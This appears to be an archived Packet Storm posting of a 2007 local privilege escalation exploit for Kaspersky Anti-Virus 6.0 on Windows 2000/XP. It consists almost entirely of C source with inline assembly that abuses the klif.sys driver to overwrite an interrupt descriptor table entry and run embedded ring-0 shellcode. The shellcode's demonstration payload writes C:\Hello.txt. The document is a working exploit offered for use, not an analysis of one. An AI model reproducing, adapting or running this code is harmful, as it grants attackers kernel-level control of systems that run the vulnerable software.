kav60-escalate.txt

2007-01-16T00:00:00
ID PACKETSTORM:53690
Type packetstorm
Reporter m4d
Modified 2007-01-16T00:00:00

Description

                                        
                                            `// kav 6.0 0day local priv escalation exploit  
// by m4d   
// http://unl0ck.net  
#include <windows.h>  
#include <stdlib.h>  
#include <stdio.h>  
  
  
// r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"  
  
unsigned char Shellcode[405] = {  
0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B,   
0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66,   
0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF,   
0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00,   
0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D,   
0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89,   
0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1,   
0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D,   
0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02,   
0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00,   
0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45,   
0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF,   
0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F,   
0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,   
0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF,   
0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74,   
0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77,   
0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,   
0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00,   
0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,   
0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D,   
0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8,   
0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C,   
0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24,   
0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89,   
0x6C, 0x24, 0x1C, 0x61, 0xC3  
};  
  
  
  
  
typedef struct _FIRST_PARAM {  
ULONG SwitchIndex;  
ULONG Unknown; // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..  
ULONG Value; // this value will rewrite DWORD of memory  
} FIRST_PARAM, *PFIRST_PARAM;  
  
  
  
  
  
void main(int argc, char* argv[])  
{  
__try  
{  
FIRST_PARAM Param1;  
ULONG Param2; // pointer to write DATA - 8  
CHAR Idtr[6];  
CHAR IsKAVInstalled;  
OSVERSIONINFOEX os;  
  
  
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);  
GetVersionEx((LPOSVERSIONINFO)&os);  
  
if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||  
os.dwMajorVersion != 5 ||  
os.dwMinorVersion > 1)  
{  
printf("This OS version unsupported\n");  
return;  
}  
  
// , KAV   
  
__asm {  
cmp os.dwMinorVersion, 0  
jnz short $+13  
mov eax, 0F8h // 2k  
jmp short $+7  
mov eax, 11Ch // xp  
int 2Eh  
  
cmp eax, 0Ch  
setz al  
mov IsKAVInstalled, al  
}  
  
if (!IsKAVInstalled)  
{  
printf("KAV6 didn't installed\n");  
return;  
}  
  
Param1.SwitchIndex = 3; // Index of jmp in case of switch()  
Param1.Unknown = 0xFF0002;  
  
__asm {  
pusha  
sidt Idtr  
  
mov eax, dword ptr [Idtr+2]  
  
add eax, 0DAh * 8 - 8  
mov Param2, eax  
  
// Write lower DWORD IdtEntry  
  
mov ecx, offset Shellcode  
and ecx, 0000FFFFh  
or ecx, 00080000h  
mov Param1.Value, ecx // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]  
  
push Param2  
lea eax, Param1  
push eax  
  
mov edx, esp  
cmp os.dwMinorVersion, 0  
jnz short $+13  
mov eax, 100h // 2k  
jmp short $+7  
mov eax, 124h // xp  
int 2Eh  
add esp, 2*4  
  
// Write high DWORD IdtEntry  
  
add Param2, 4  
  
mov ecx, offset Shellcode  
and ecx, 0FFFF0000h  
or ecx, 0000EE00h  
mov Param1.Value, ecx // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]  
  
push Param2  
lea eax, Param1  
push eax  
  
mov edx, esp  
cmp os.dwMinorVersion, 0  
jnz short $+13  
mov eax, 100h // 2k  
jmp short $+7  
mov eax, 124h // xp  
int 2Eh  
add esp, 2*4  
  
// Call Gate :-) (COLGATE)  
  
push fs  
int 0DAh  
pop fs  
  
popa  
}  
  
printf("Exploited successful\n");  
}  
__except(1) {  
printf("Can't create interrupt gate\n");  
}  
}  
  
// 15.01.07 MaD  
`